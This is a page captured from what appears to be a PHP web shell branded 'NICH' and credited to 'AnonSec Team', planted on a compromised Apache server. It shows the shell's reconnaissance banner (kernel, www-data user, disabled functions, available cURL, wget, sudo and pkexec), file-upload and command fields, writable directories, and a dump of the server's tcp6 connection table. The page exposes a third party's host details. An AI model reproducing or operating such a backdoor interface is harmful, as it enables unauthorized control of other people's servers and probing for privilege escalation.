NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.152
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/291/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/proc/291/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28186859 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54035 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28186863 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:6498 06 00000000:00000000 03:00000C8A 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000014E3074A:AC1E 01 00000000:00000000 02:000AE5A1 00000000    33        0 65014070 2 0000000000000000 23 4 31 10 -1
   5: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00009CE3074A:E3B4 01 00000000:00000000 02:000ADB9E 00000000    33        0 65014040 2 0000000000000000 22 4 31 10 -1
   6: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:D74F 06 00000000:00000000 03:000001D1 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000014E3074A:989C 06 00000000:00000000 03:00000000 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:1AF1 06 00000000:00000000 03:000007A1 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:0757 06 00000000:00000000 03:000007AF 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:EAF7 06 00000000:00000000 03:00001245 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:456B 06 00000000:00000000 03:00000569 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:9DD5 01 00000000:00000000 02:000AF903 00000000    33        0 65014250 3 0000000000000000 22 4 1 18 -1
  13: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:0EC6 06 00000000:00000000 03:00001023 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:FB7D 06 00000000:00000000 03:00000AC0 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:D72B 06 00000000:00000000 03:000013EA 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team